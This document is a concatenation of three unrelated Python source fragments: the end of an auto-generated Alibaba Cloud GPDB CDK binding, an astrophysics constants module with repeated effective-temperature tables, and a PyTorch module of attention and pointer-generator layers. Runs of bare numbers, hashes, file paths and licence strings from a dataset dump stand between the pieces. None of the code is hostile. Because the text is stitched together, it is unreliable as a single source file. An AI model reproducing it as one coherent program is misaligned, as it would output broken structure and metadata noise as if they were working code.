typing.Union[builtins.str, ros_cdk_core.IResolvable], db_instance_id: typing.Union[builtins.str, ros_cdk_core.IResolvable], port: typing.Union[jsii.Number, ros_cdk_core.IResolvable], ) -> None: '''Properties for defining a ``ALIYUN::GPDB::InstancePublicConnection``. :param connection_string_prefix: :param db_instance_id: :param port: ''' self._values: typing.Dict[str, typing.Any] = { "connection_string_prefix": connection_string_prefix, "db_instance_id": db_instance_id, "port": port, } @builtins.property def connection_string_prefix( self, ) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: connectionStringPrefix: The endpoint that is used to connect to the specified database. ''' result = self._values.get("connection_string_prefix") assert result is not None, "Required property 'connection_string_prefix' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def db_instance_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: dbInstanceId: The ID of the instance. ''' result = self._values.get("db_instance_id") assert result is not None, "Required property 'db_instance_id' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def port(self) -> typing.Union[jsii.Number, ros_cdk_core.IResolvable]: ''' :Property: port: The port number of the instance. ''' result = self._values.get("port") assert result is not None, "Required property 'port' is missing" return typing.cast(typing.Union[jsii.Number, ros_cdk_core.IResolvable], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "RosInstancePublicConnectionProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) __all__ = [ "DBInstance", "DBInstanceProps", "ElasticDBInstance", "ElasticDBInstanceProps", "InstancePublicConnection", "InstancePublicConnectionProps", "RosDBInstance", "RosDBInstanceProps", "RosElasticDBInstance", "RosElasticDBInstanceProps", "RosInstancePublicConnection", "RosInstancePublicConnectionProps", ] publication.publish()
43.109762
327
0.675743
10,807
88,763
5.361247
0.025446
0.035831
0.057302
0.115622
0.956851
0.952398
0.950759
0.950103
0.949447
0.947479
0
0.003098
0.214538
88,763
2,058
328
43.130709
0.827926
0.236134
0
0.887763
0
0
0.122366
0.036594
0
0
0
0
0.023383
1
0.147311
false
0
0.007794
0.018706
0.275916
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
55de4c20e16c6f5b85c95832b9a00a4ffd0a252c
13,911
py
Python
mfits-3/src/constants.py
bt3gl/Tool-MFits_Astrophysical_Analyzer
159d225758db3ee50f88f9bf757d0b0dd07a041b
[ "Apache-2.0" ]
2
2022-02-21T17:39:44.000Z
2022-02-21T17:47:47.000Z
mfits-3/src/constants.py
bt3gl/MFits-Astrophysical_Analyzer
159d225758db3ee50f88f9bf757d0b0dd07a041b
[ "Apache-2.0" ]
null
null
null
mfits-3/src/constants.py
bt3gl/MFits-Astrophysical_Analyzer
159d225758db3ee50f88f9bf757d0b0dd07a041b
[ "Apache-2.0" ]
null
null
null
""" CONSTANTS used in the program. Paths can be modified here. Verbose can be modified here. Marina Wahl, 2013-2014 """ from math import pi """ Initial inputs and Range for Data """ X0 = [0.2,1.1] # initial guess for [w,fc] RANGE = [3.0, 20.0] # keV - range of data, corrected to observed z #RANGE = [[3.0*1.18, 20.0*1.18], [3.0*1.27, 20.0*1.27], [3.0*1.42, 20.0*1.42]] # keV - range of data, corrected to observed z MESSAGE = 'Data Range: ' + str(RANGE[0]) + ' - ' + str(RANGE[1]) + ' keV.' VERBOSE = 1 # display log and print messages? """ Paths """ PATH2_INPUT_DATA = "../data/lanl/" PATH2_OUTPUT_DATA = "../output/lanl/" PATH2_LOG = "../logs/log.txt" """ Constants and units """ WIEN = 2.8977685 hc_keV = 2 * pi * 1.97326938*1e-8 h_keV = 4.135667516 * 1e-18 erg_to_keV = 6.24150974 * 1e8 cm_to_m = 1e2 sol_over_hkeV = 2.99792e10/6.24150974e8 sol = 3.e10 hkev = 4.136e-18 """ Normalized luminosity (l = L/L_Edd), based on Suleimanov et al 2010 """ CONST_L = [0.001,0.003, 0.010, 0.030, 0.050, 0.070, 0.100, 0.150, 0.200, 0.300, 0.400, 0.500, 0.600, 0.700, 0.750, 0.800, 0.850, 0.900, 0.950, 0.980] CONST_L_str = ['0001','0003', '001', '003', '005', '007', '01', '015', '02', '03', '04', '05', '06', '07', '075', '08', '085', '09', '095', '098'] """ Effective temperatures for those luminosities, based on Suleimanov et al 2010, all in kev """ Teff1 = [0.292, 0.385, 0.520, 0.684, 0.777, 0.845, 0.924, 1.023, 1.099, 1.217, 1.307, 1.382, 1.447, 1.504, 1.530, 1.555, 1.578, 1.601, 1.623, 1.635] Teff2 = [0.347, 0.457, 0.618, 0.813, 0.924, 1.005, 1.099, 1.216, 1.306, 1.446, 1.554, 1.643, 1.719, 1.787, 1.818, 1.848, 1.876, 1.903, 1.929, 1.944] Teff3 = [0.413, 0.543, 0.734, 0.966, 1.098, 1.194, 1.306, 1.445, 1.553, 1.718, 1.847, 1.952, 2.043, 2.124, 2.161, 2.196, 2.229, 2.261, 2.292, 2.310] Teff4 = [0.303, 0.398, 0.538, 0.709, 0.805, 0.876, 0.957, 1.060, 1.139, 1.260, 1.354, 1.432, 1.498, 1.557, 1.584, 1.610, 1.635, 1.658, 1.681, 1.694] Teff5 = [0.360, 0.474, 0.640, 0.842, 0.957, 1.041, 1.138, 1.259, 1.353, 1.498, 1.609, 1.702, 1.781, 1.851, 1.883, 1.914, 1.943, 1.971, 1.998, 2.013] Teff6 = [0.428, 0.563, 0.761, 1.001, 1.137, 1.237, 1.352, 1.497, 1.608, 1.780, 1.913, 2.022, 2.117, 2.200, 2.238, 2.275, 2.309, 2.342, 2.374, 2.393] Teff7 = Teff4 Teff8 = [0.360, 0.474, 0.640, 0.842, 0.957, 1.041, 1.138, 1.259, 1.353, 1.498, 1.609, 1.702, 1.781, 1.851, 1.883, 1.914, 1.943, 1.971, 1.998, 2.013] Teff9 = [0.428, 0.563, 0.761, 1.001, 1.137, 1.237, 1.352, 1.497, 1.608, 1.780, 1.913, 2.022, 2.117, 2.200, 2.238, 2.275, 2.309, 2.342, 2.374, 2.393] Teff10 = [0.303, 0.398, 0.538, 0.709, 0.805, 0.876, 0.957, 1.060, 1.139, 1.260, 1.354, 1.432, 1.498, 1.557, 1.584, 1.610, 1.635, 1.658, 1.681, 1.694] Teff11 = [0.360, 0.474, 0.640, 0.842, 0.957, 1.041, 1.138, 1.259, 1.353, 1.498, 1.609, 1.702, 1.781, 1.851, 1.883, 1.914, 1.943, 1.971, 1.998, 2.013] Teff12 = [0.428, 0.563, 0.761, 1.001, 1.137, 1.237, 1.352, 1.497, 1.608, 1.780, 1.913, 2.022, 2.117, 2.200, 2.238, 2.275, 2.309, 2.342, 2.354, 2.393] Teff13 = Teff4 Teff14 = [0.360, 0.474, 0.640, 0.842, 0.957, 1.041, 1.138, 1.259, 1.353, 1.498, 1.609, 1.702, 1.781, 1.851, 1.883, 1.914, 1.943, 1.971, 1.998, 2.013] Teff15 = [0.428, 0.563, 0.761, 1.001, 1.137, 1.237, 1.352, 1.497, 1.608, 1.780, 1.913, 2.022, 2.117, 2.200, 2.238, 2.275, 2.309, 2.342, 2.374, 2.393] Teff16 = [0.348, 0.457, 0.618, 0.814, 0.924, 1.005, 1.099, 1.217, 1.307, 1.447, 1.555, 1.644, 1.720, 1.788, 1.819, 1.849, 1.877, 1.904, 1.930, 1.945] Teff17 = [0.413, 0.544, 0.735, 0.967, 1.099, 1.195, 1.306, 1.446, 1.554, 1.719, 1.848, 1.954, 2.045, 2.125, 2.162, 2.197, 2.231, 2.263, 2.294, 2.312] Teff18 = [0.491, 0.646, 0.873, 1.149, 1.306, 1.420, 1.553, 1.718, 1.847, 2.043, 2.196, 2.322, 2.430, 2.526, 2.570, 2.611, 2.651, 2.689, 2.726, 2.747] # We stopped using the above after we decided to calculate our own teffs, bellow: """ Effective temperatures for those luminosities,CALCULATED """ Teff1 = [0.292, 0.385, 0.520, 0.684, 0.777, 0.845, 0.924, 1.023, 1.099, 1.217, 1.307, 1.382, 1.447, 1.504, 1.530, 1.555, 1.578, 1.601, 1.623, 1.635] Teff2 = [0.347, 0.457, 0.618, 0.813, 0.924, 1.005, 1.099, 1.216, 1.306, 1.446, 1.554, 1.643, 1.719, 1.787, 1.818, 1.848, 1.876, 1.903, 1.929, 1.944] Teff3 = [0.413, 0.543, 0.734, 0.966, 1.098, 1.194, 1.306, 1.445, 1.553, 1.718, 1.847, 1.952, 2.043, 2.124, 2.161, 2.196, 2.229, 2.261, 2.292, 2.310] Teff4 = [0.303, 0.398, 0.538, 0.709, 0.805, 0.876, 0.957, 1.060, 1.139, 1.260, 1.354, 1.432, 1.498, 1.557, 1.584, 1.610, 1.635, 1.658, 1.681, 1.694] Teff5 = [0.360, 0.474, 0.640, 0.842, 0.957, 1.041, 1.138, 1.259, 1.353, 1.498, 1.609, 1.702, 1.781, 1.851, 1.883, 1.914, 1.943, 1.971, 1.998, 2.013] Teff6 = [0.428, 0.563, 0.761, 1.001, 1.137, 1.237, 1.352, 1.497, 1.608, 1.780, 1.913, 2.022, 2.117, 2.200, 2.238, 2.275, 2.309, 2.342, 2.374, 2.393] Teff7 = Teff4 Teff8 = [0.360, 0.474, 0.640, 0.842, 0.957, 1.041, 1.138, 1.259, 1.353, 1.498, 1.609, 1.702, 1.781, 1.851, 1.883, 1.914, 1.943, 1.971, 1.998, 2.013] Teff9 = [0.428, 0.563, 0.761, 1.001, 1.137, 1.237, 1.352, 1.497, 1.608, 1.780, 1.913, 2.022, 2.117, 2.200, 2.238, 2.275, 2.309, 2.342, 2.374, 2.393] Teff10 = [0.303, 0.398, 0.538, 0.709, 0.805, 0.876, 0.957, 1.060, 1.139, 1.260, 1.354, 1.432, 1.498, 1.557, 1.584, 1.610, 1.635, 1.658, 1.681, 1.694] Teff11 = [0.360, 0.474, 0.640, 0.842, 0.957, 1.041, 1.138, 1.259, 1.353, 1.498, 1.609, 1.702, 1.781, 1.851, 1.883, 1.914, 1.943, 1.971, 1.998, 2.013] Teff12 = [0.428, 0.563, 0.761, 1.001, 1.137, 1.237, 1.352, 1.497, 1.608, 1.780, 1.913, 2.022, 2.117, 2.200, 2.238, 2.275, 2.309, 2.342, 2.354, 2.393] Teff13 = Teff4 Teff14 = [0.360, 0.474, 0.640, 0.842, 0.957, 1.041, 1.138, 1.259, 1.353, 1.498, 1.609, 1.702, 1.781, 1.851, 1.883, 1.914, 1.943, 1.971, 1.998, 2.013] Teff15 = [0.428, 0.563, 0.761, 1.001, 1.137, 1.237, 1.352, 1.497, 1.608, 1.780, 1.913, 2.022, 2.117, 2.200, 2.238, 2.275, 2.309, 2.342, 2.374, 2.393] Teff16 = [0.348, 0.457, 0.618, 0.814, 0.924, 1.005, 1.099, 1.217, 1.307, 1.447, 1.555, 1.644, 1.720, 1.788, 1.819, 1.849, 1.877, 1.904, 1.930, 1.945] Teff17 = [0.413, 0.544, 0.735, 0.967, 1.099, 1.195, 1.306, 1.446, 1.554, 1.719, 1.848, 1.954, 2.045, 2.125, 2.162, 2.197, 2.231, 2.263, 2.294, 2.312] Teff18 = [0.491, 0.646, 0.873, 1.149, 1.306, 1.420, 1.553, 1.718, 1.847, 2.043, 2.196, 2.322, 2.430, 2.526, 2.570, 2.611, 2.651, 2.689, 2.726, 2.747] Teff = [Teff1, Teff2, Teff3, Teff4, Teff5, Teff6, Teff7, Teff8, Teff9, Teff10, Teff11, Teff12, Teff13, Teff14, Teff15, Teff16, Teff17, Teff18] # calculated from /scripts/calculating_teff.py Teff = [[0.29233409418727835, 0.3847333044598832, 0.5198517005456161, 0.6841633136772465, 0.777359606826666, 0.8455785916662352, 0.9244415753539891, 1.0230627772635421, 1.0993524988152878, 1.2166335338162484, 1.3073578134871608, 1.3823625830158126, 1.4468292547651864, 1.5036749991297762, 1.5298356770938346, 1.554719213653332, 1.5784622518342781, 1.601179777142122, 1.6229695447359085, 1.635633466058643], [0.3474397220973636, 0.457256389319776, 0.6178449040353869, 0.8131296222360993, 0.923893624233058, 1.0049720396683781, 1.0987008714436028, 1.2159123895856225, 1.3065828935804225, 1.4459716649151828, 1.5537976733866814, 1.6429410090398842, 1.719559792009466, 1.7871210858070965, 1.8182131098386427, 1.847787248466116, 1.8760059022302924, 1.9030057316605213, 1.928902918981072, 1.9439540176812289], [0.41293288361281505, 0.543450237216362, 0.734310044656668, 0.9664063672226249, 1.0980496303158482, 1.1944115076577904, 1.3058084329977144, 1.4451145833907795, 1.5528766793514361, 1.718540544562508, 1.8466919958065269, 1.9526390487915242, 2.0437006430143856, 2.123997391181396, 2.1609503309984137, 2.1960992606316965, 2.229637193485695, 2.261726550903942, 2.29250541571877, 2.3103936800492804], [0.30280271435949796, 0.3985107834200118, 0.5384678322493924, 0.7086635208342874, 0.8051972166809616, 0.8758591551650767, 0.9575462590573873, 1.059699132175491, 1.1387208242152835, 1.2602017477453027, 1.3541749061585782, 1.431865631444403, 1.498640884757578, 1.5575223017241422, 1.584619805759805, 1.6103944333619231, 1.6349877208069583, 1.6585187712849052, 1.6810888406126188, 1.69420626286068], [0.35988170049023865, 0.4736309537523554, 0.6399702180315859, 0.8422481730149108, 0.956978685551411, 1.0409605568347993, 1.1380458617636895, 1.2594547790036468, 1.3533722360087828, 1.4977525842153165, 1.6094398923087863, 1.7017754923621866, 1.7811380296625663, 1.8511187248819756, 1.8833241687863447, 1.913957371102822, 1.9431865480112447, 1.9711532539182175, 1.9979778315876129, 2.0135679171476655], [0.4277202026464704, 0.5629114435177935, 0.7606060296238938, 1.0010138296829802, 1.1373712993876013, 1.2371839404722373, 1.3525700416316253, 1.4968648102020312, 1.6084859170478556, 1.780082282489453, 1.912822896934986, 2.0225639632701866, 2.116886515626741, 2.2000587277726003, 2.2383349695885406, 2.2747425987752026, 2.309481540637014, 2.3427200329015263, 2.3746011032116607, 2.393129954625717], [0.30280271435949796, 0.3985107834200118, 0.5384678322493924, 0.7086635208342874, 0.8051972166809616, 0.8758591551650767, 0.9575462590573873, 1.059699132175491, 1.1387208242152835, 1.2602017477453027, 1.3541749061585782, 1.431865631444403, 1.498640884757578, 1.5575223017241422, 1.584619805759805, 1.6103944333619231, 1.6349877208069583, 1.6585187712849052, 1.6810888406126188, 1.69420626286068], [0.35988170049023865, 0.4736309537523554, 0.6399702180315859, 0.8422481730149108, 0.956978685551411, 1.0409605568347993, 1.1380458617636895, 1.2594547790036468, 1.3533722360087828, 1.4977525842153165, 1.6094398923087863, 1.7017754923621866, 1.7811380296625663, 1.8511187248819756, 1.8833241687863447, 1.913957371102822, 1.9431865480112447, 1.9711532539182175, 1.9979778315876129, 2.0135679171476655], [0.4277202026464704, 0.5629114435177935, 0.7606060296238938, 1.0010138296829802, 1.1373712993876013, 1.2371839404722373, 1.3525700416316253, 1.4968648102020312, 1.6084859170478556, 1.780082282489453, 1.912822896934986, 2.0225639632701866, 2.116886515626741, 2.2000587277726003, 2.2383349695885406, 2.2747425987752026, 2.309481540637014, 2.3427200329015263, 2.3746011032116607, 2.393129954625717], [0.30280271435949796, 0.3985107834200118, 0.5384678322493924, 0.7086635208342874, 0.8051972166809616, 0.8758591551650767, 0.9575462590573873, 1.059699132175491, 1.1387208242152835, 1.2602017477453027, 1.3541749061585782, 1.431865631444403, 1.498640884757578, 1.5575223017241422, 1.584619805759805, 1.6103944333619231, 1.6349877208069583, 1.6585187712849052, 1.6810888406126188, 1.69420626286068], [0.35988170049023865, 0.4736309537523554, 0.6399702180315859, 0.8422481730149108, 0.956978685551411, 1.0409605568347993, 1.1380458617636895, 1.2594547790036468, 1.3533722360087828, 1.4977525842153165, 1.6094398923087863, 1.7017754923621866, 1.7811380296625663, 1.8511187248819756, 1.8833241687863447, 1.913957371102822, 1.9431865480112447, 1.9711532539182175, 1.9979778315876129, 2.0135679171476655], [0.4277202026464704, 0.5629114435177935, 0.7606060296238938, 1.0010138296829802, 1.1373712993876013, 1.2371839404722373, 1.3525700416316253, 1.4968648102020312, 1.6084859170478556, 1.780082282489453, 1.912822896934986, 2.0225639632701866, 2.116886515626741, 2.2000587277726003, 2.2383349695885406, 2.2747425987752026, 2.309481540637014, 2.3427200329015263, 2.3746011032116607, 2.393129954625717], [0.30280271435949796, 0.3985107834200118, 0.5384678322493924, 0.7086635208342874, 0.8051972166809616, 0.8758591551650767, 0.9575462590573873, 1.059699132175491, 1.1387208242152835, 1.2602017477453027, 1.3541749061585782, 1.431865631444403, 1.498640884757578, 1.5575223017241422, 1.584619805759805, 1.6103944333619231, 1.6349877208069583, 1.6585187712849052, 1.6810888406126188, 1.69420626286068], [0.35988170049023865, 0.4736309537523554, 0.6399702180315859, 0.8422481730149108, 0.956978685551411, 1.0409605568347993, 1.1380458617636895, 1.2594547790036468, 1.3533722360087828, 1.4977525842153165, 1.6094398923087863, 1.7017754923621866, 1.7811380296625663, 1.8511187248819756, 1.8833241687863447, 1.913957371102822, 1.9431865480112447, 1.9711532539182175, 1.9979778315876129, 2.0135679171476655], [0.4277202026464704, 0.5629114435177935, 0.7606060296238938, 1.0010138296829802, 1.1373712993876013, 1.2371839404722373, 1.3525700416316253, 1.4968648102020312, 1.6084859170478556, 1.780082282489453, 1.912822896934986, 2.0225639632701866, 2.116886515626741, 2.2000587277726003, 2.2383349695885406, 2.2747425987752026, 2.309481540637014, 2.3427200329015263, 2.3746011032116607, 2.393129954625717], [0.34764578476538693, 0.45752758304220126, 0.6182113410351108, 0.81361188044882, 0.9244415753539891, 1.0055680775034674, 1.0993524988152878, 1.2166335338162484, 1.3073578134871608, 1.446829254765186, 1.554719213653332, 1.6439154192359442, 1.720579643960844, 1.78818100761684, 1.8192914719849935, 1.8488831507079782, 1.8771185406445405, 1.9041343833758826, 1.9300469300326693, 1.9451069553734996], [0.4131777895527528, 0.5437725515595319, 0.7347455558470555, 0.966979532182644, 1.0987008714436028, 1.1951198999524322, 1.3065828935804222, 1.4459716649151828, 1.5537976733866814, 1.719559792009466, 1.8477872484661155, 1.95379713747998, 2.0449127393302557, 2.1252571106131875, 2.1622319668113374, 2.1974017428872057, 2.230959566719363, 2.263067955981651, 2.2938650754018077, 2.311763949064643], [0.4910627232109502, 0.6462748887476143, 0.8732467297236752, 1.149257327885078, 1.3058084329977144, 1.420402663147771, 1.5528766793514361, 1.718540544562508, 1.8466919958065269, 2.043700643014385, 2.1960992606316965, 2.3220922498550256, 2.430383345608343, 2.5258728098401337, 2.569817508790799, 2.611616865995429, 2.6515004143678866, 2.6896613065255313, 2.7262637515550314, 2.747536602771924]]
139.11
7,164
0.71368
2,339
13,911
4.236853
0.204788
0.004844
0.006054
0.006458
0.73552
0.720182
0.705045
0.694551
0.687689
0.687689
0
0.725322
0.112285
13,911
99
7,165
140.515152
0.077172
0.03393
0
0.642857
0
0
0.008878
0
0
0
0
0
0
1
0
false
0
0.017857
0
0.017857
0
0
0
0
null
0
0
0
0
1
1
0
0
1
0
1
0
0
0
1
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
36006d111c26fad52d202f7c0f781801ec74f566
13,478
py
Python
layers/copy_attention.py
demdecuong/SEGMENT
629dc55dcbc9629b35fb237e313b95ceacecdc89
[ "MIT" ]
null
null
null
layers/copy_attention.py
demdecuong/SEGMENT
629dc55dcbc9629b35fb237e313b95ceacecdc89
[ "MIT" ]
null
null
null
layers/copy_attention.py
demdecuong/SEGMENT
629dc55dcbc9629b35fb237e313b95ceacecdc89
[ "MIT" ]
null
null
null
"""FocusSeq2Seq Copyright (c) 2019-present NAVER Corp. MIT license """ import math import torch import torch.nn as nn class BahdanauAttention(nn.Module): def __init__(self, enc_hidden_size=512, dec_hidden_size=256, attention_size=700, coverage=False, weight_norm=False, bias=True, pointer_end_bias=False): """Bahdanau Attention (+ Coverage)""" super().__init__() self.enc_hidden_size = enc_hidden_size self.dec_hidden_size = dec_hidden_size self.coverage = coverage self.bias = bias self.weight_norm = weight_norm self.end_bias = pointer_end_bias # positional context self.Wp = nn.Linear(enc_hidden_size, attention_size, bias=False) # encoder state self.Wh = nn.Linear(enc_hidden_size, attention_size, bias=False) # decoder state self.Ws = nn.Linear(dec_hidden_size, attention_size, bias=False) # coverage if coverage: self.Wc = nn.Linear(1, attention_size, bias=False) if bias: self.b = nn.Parameter(torch.randn(1, 1, attention_size)) # to scalar if weight_norm: v = nn.Linear(attention_size, 1, bias=False) self.v = nn.utils.weight_norm(v) else: self.v = nn.Linear(attention_size, 1, bias=False) self.tanh = nn.Tanh() self.softmax = nn.Softmax(dim=1) if self.end_bias: self.end_energy = nn.Parameter(torch.randn(1, 1)) # self.gated_mask = GatedMask(enc_hidden_size) def forward(self, encoder_outputs, decoder_state, mask, coverage=None): """ Args: spotlight_embed [B, source_len, focus_embed] encoder_outputs [B, source_len, hidden_size] decoder_state [B, hidden_size] mask [B, source_len] coverage [B, source_len] (optional) Return: attention [B, source_len] e = v T tanh (Wh @ h + Ws @ s + b) a = softmax(e) e = v T tanh (Wh @ h + Ws @ s + Wc @ c + b) <= coverage a = softmax(e; bias) <= bias """ B, source_len, _ = encoder_outputs.size() # Attention Energy # [B, source_len, hidden_size] enc_out_energy = self.Wh(encoder_outputs) # [B, 1, hidden_size] dec_state_energy = self.Ws(decoder_state).unsqueeze(1) # [B, source_len, hidden_size] energy = enc_out_energy + dec_state_energy if self.coverage: # [B, source_len] => [B, source_len, 1] => [B, source_len, hidden_size] try: cov_energy = self.Wc(coverage.unsqueeze(2)) energy = energy + cov_energy except RuntimeError: print(energy.size()) print(coverage.size()) if self.bias: energy = energy + self.b energy = self.tanh(energy) # [B, source_len, hidden_size] energy = self.v(energy).squeeze(2) # [B, source_len] # gated_mask = self.gated_mask(spotlight_embed, encoder_outputs, decoder_state) # gated_mask = gated_mask.squeeze(2) # energy = energy * gated_mask # mask out attention outside of answer sentence energy.masked_fill_(mask, -math.inf) if self.end_bias: # [B, 1] end_energy = self.end_energy.expand(B, 1) # [B, source_len+1] energy = torch.cat([energy, end_energy], dim=1) attention = self.softmax(energy) # [B, source_len] return attention class SelfAttention(nn.Module): def __init__(self, enc_hidden_size=512, dec_hidden_size=256, attention_size=700, coverage=False, weight_norm=False, bias=True, pointer_end_bias=False): """SelfAttention Attention (+ Coverage)""" super().__init__() self.enc_hidden_size = enc_hidden_size self.dec_hidden_size = dec_hidden_size self.coverage = coverage self.bias = bias self.weight_norm = weight_norm self.end_bias = pointer_end_bias # encoder state self.Wh = nn.Linear(enc_hidden_size, attention_size, bias=False) # coverage if coverage: self.Wc = nn.Linear(1, attention_size, bias=False) if bias: self.b = nn.Parameter(torch.randn(1, 1, attention_size)) # to scalar if weight_norm: v = nn.Linear(attention_size, 1, bias=False) self.v = nn.utils.weight_norm(v) else: self.v = nn.Linear(attention_size, 1, bias=False) self.tanh = nn.Tanh() self.softmax = nn.Softmax(dim=1) if self.end_bias: self.end_energy = nn.Parameter(torch.randn(1, 1)) def forward(self, encoder_outputs, mask, coverage=None): """ Args: encoder_outputs [B, source_len, hidden_size] decoder_state [B, hidden_size] mask [B, source_len] coverage [B, source_len] (optional) Return: attention [B, source_len] e = v T tanh (Wh @ h + Ws @ s + b) a = softmax(e) e = v T tanh (Wh @ h + Ws @ s + Wc @ c + b) <= coverage a = softmax(e; bias) <= bias """ B, source_len, _ = encoder_outputs.size() # Attention Energy # [B, source_len, hidden_size] enc_out_energy = self.Wh(encoder_outputs) # [B, source_len, hidden_size] energy = enc_out_energy if self.coverage: # [B, source_len] => [B, source_len, 1] => [B, source_len, hidden_size] try: cov_energy = self.Wc(coverage.unsqueeze(2)) energy = energy + cov_energy except RuntimeError: print(energy.size()) print(coverage.size()) if self.bias: energy = energy + self.b energy = self.tanh(energy) # [B, source_len, hidden_size] energy = self.v(energy).squeeze(2) # [B, source_len] # mask out attention outside of answer sentence energy.masked_fill_(mask, -math.inf) if self.end_bias: # [B, 1] end_energy = self.end_energy.expand(B, 1) # [B, source_len+1] energy = torch.cat([energy, end_energy], dim=1) attention = self.softmax(energy) # [B, source_len] return attention class CopySwitch(nn.Module): def __init__(self, enc_hidden_size=512, dec_hidden_size=256): """Pointing the Unknown Words (ACL 2016)""" super().__init__() self.enc_hidden_size = enc_hidden_size self.dec_hidden_size = dec_hidden_size # self.W = nn.Linear(hidden_size, 1) # self.U = nn.Linear(hidden_size, 1, bias=False) self.W = nn.Linear(enc_hidden_size + dec_hidden_size, 1) self.sigmoid = nn.Sigmoid() def forward(self, decoder_state, context): """ Args: decoder_state [B, hidden_size] context [B, hidden_size] Return: p [B, 1] p = sigmoid(W @ s + U @ c + b) """ # [B, 1] # p = self.W(decoder_state) + self.U(context) p = self.W(torch.cat([decoder_state, context], dim=1)) p = self.sigmoid(p) return p class GatedMask(nn.Module): def __init__(self, enc_hidden_size=512): """Pointing the Unknown Words (ACL 2016)""" super().__init__() self.enc_hidden_size = enc_hidden_size # self.W = nn.Linear(hidden_size, 1) # self.U = nn.Linear(hidden_size, 1, bias=False) # focus_embed_size = 32 self.W = nn.Linear(32*2 + enc_hidden_size + enc_hidden_size, 1) self.ins_norm = nn.InstanceNorm1d(400, affine=True) # self.norm = nn.LayerNorm([400,1]) self.sigmoid = nn.Sigmoid() def forward(self, spotlight_embed, encoder_outputs, decoder_state): """ Args: spotlight_embed [B, source_len, focus_embed_size*2] encoder_outputs [B, source_len, hidden_size] decoder_state [B, hidden_size] Return: p [B, source_len] p = sigmoid(W @ s + U @ c + b) """ # [B, 1] # p = self.W(decoder_state) + self.U(context) B, max_source_len, hidden_size = spotlight_embed.size() decoder_state = decoder_state.unsqueeze(1).expand(-1, max_source_len, -1) p = self.W(torch.cat([spotlight_embed, encoder_outputs,decoder_state], dim=-1)) p = self.ins_norm(p) # p = self.norm(p) p = self.sigmoid(p) return p class PointerGenerator(nn.Module): def __init__(self, enc_hidden_size=512, dec_hidden_size=256, embed_size=128, rnn_type='LSTM'): """Estimation of Word Generation (vs Copying) Probability Get To The Point: Summarization with Pointer-Generator Networks (ACL 2017)""" super().__init__() self.enc_hidden_size = enc_hidden_size self.dec_hidden_size = dec_hidden_size self.rnn_type = rnn_type # # context vector # self.wh = nn.Linear(hidden_size, 1, bias=False) # # decoder state # self.ws = nn.Linear(hidden_size, 1, bias=False) # # target embedding # self.wx = nn.Linear(embed_size, 1, bias=False) # # self.b = nn.Parameter(torch.randn(1, 1)) self.W = nn.Linear(enc_hidden_size + dec_hidden_size + embed_size, 1) self.sigmoid = nn.Sigmoid() def forward(self, context, decoder_state, decoder_input): """ Args: context [B, hidden_size] decoder_state [B, hidden_size] decoder_input [B, embed_size] Return: p_gen [B, 1] p = sigmoid(wh @ h + ws @ s + wx @ x + b) """ # p_gen = self.wh(context) \ # + self.ws(decoder_state) \ # + self.wx(decoder_input) \ # + self.b # [batch, 1] p_gen = self.W(torch.cat([context, decoder_state, decoder_input], dim=1)) p_gen = self.sigmoid(p_gen) # [batch, 1] return p_gen class BahdanauAttention2(nn.Module): def __init__(self, enc_hidden_size=512, dec_hidden_size=256, attention_size=700, coverage=False, weight_norm=False, bias=True, pointer_end_bias=False): """Bahdanau Attention (+ Coverage)""" super().__init__() self.enc_hidden_size = enc_hidden_size self.dec_hidden_size = dec_hidden_size self.coverage = coverage self.bias = bias self.weight_norm = weight_norm self.end_bias = pointer_end_bias # encoder state self.Wh = nn.Linear(enc_hidden_size, attention_size, bias=False) # decoder state self.Ws = nn.Linear(dec_hidden_size, attention_size, bias=False) # coverage if coverage: self.Wc = nn.Linear(1, attention_size, bias=False) if bias: self.b = nn.Parameter(torch.randn(1, 1, attention_size)) # to scalar if weight_norm: v = nn.Linear(attention_size, 1, bias=False) self.v = nn.utils.weight_norm(v) else: self.v = nn.Linear(attention_size, 1, bias=False) self.tanh = nn.Tanh() self.softmax = nn.Softmax(dim=1) if self.end_bias: self.end_energy = nn.Parameter(torch.randn(1, 1)) def forward(self, encoder_outputs, decoder_state, mask, coverage=None): """ Args: encoder_outputs [B, source_len, hidden_size] decoder_state [B, source_len, hidden_size] mask [B, source_len] coverage [B, source_len] (optional) Return: attention [B, source_len] e = v T tanh (Wh @ h + Ws @ s + b) a = softmax(e) e = v T tanh (Wh @ h + Ws @ s + Wc @ c + b) <= coverage a = softmax(e; bias) <= bias """ B, source_len, _ = encoder_outputs.size() # Attention Energy # [B, source_len, hidden_size] enc_out_energy = self.Wh(encoder_outputs) # [B, source_len, hidden_size] dec_state_energy = self.Ws(decoder_state) # [B, source_len, hidden_size] energy = enc_out_energy + dec_state_energy if self.coverage: # [B, source_len] => [B, source_len, 1] => [B, source_len, hidden_size] try: cov_energy = self.Wc(coverage.unsqueeze(2)) energy = energy + cov_energy except RuntimeError: print(energy.size()) print(coverage.size()) if self.bias: energy = energy + self.b energy = self.tanh(energy) # [B, source_len, hidden_size] energy = self.v(energy).squeeze(2) # [B, source_len] # mask out attention outside of answer sentence energy.masked_fill_(mask, -math.inf) if self.end_bias: # [B, 1] end_energy = self.end_energy.expand(B, 1) # [B, source_len+1] energy = torch.cat([energy, end_energy], dim=1) attention = self.softmax(energy) # [B, source_len] return attention
32.244019
98
0.564921
1,693
13,478
4.259303
0.085647
0.109555
0.066565
0.050062
0.861323
0.843711
0.819581
0.80086
0.777285
0.74428
0
0.016393
0.325642
13,478
417
99
32.321343
0.776983
0.284909
0
0.830769
0
0
0.000445
0
0
0
0
0
0
1
0.061538
false
0
0.015385
0
0.138462
0.030769
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
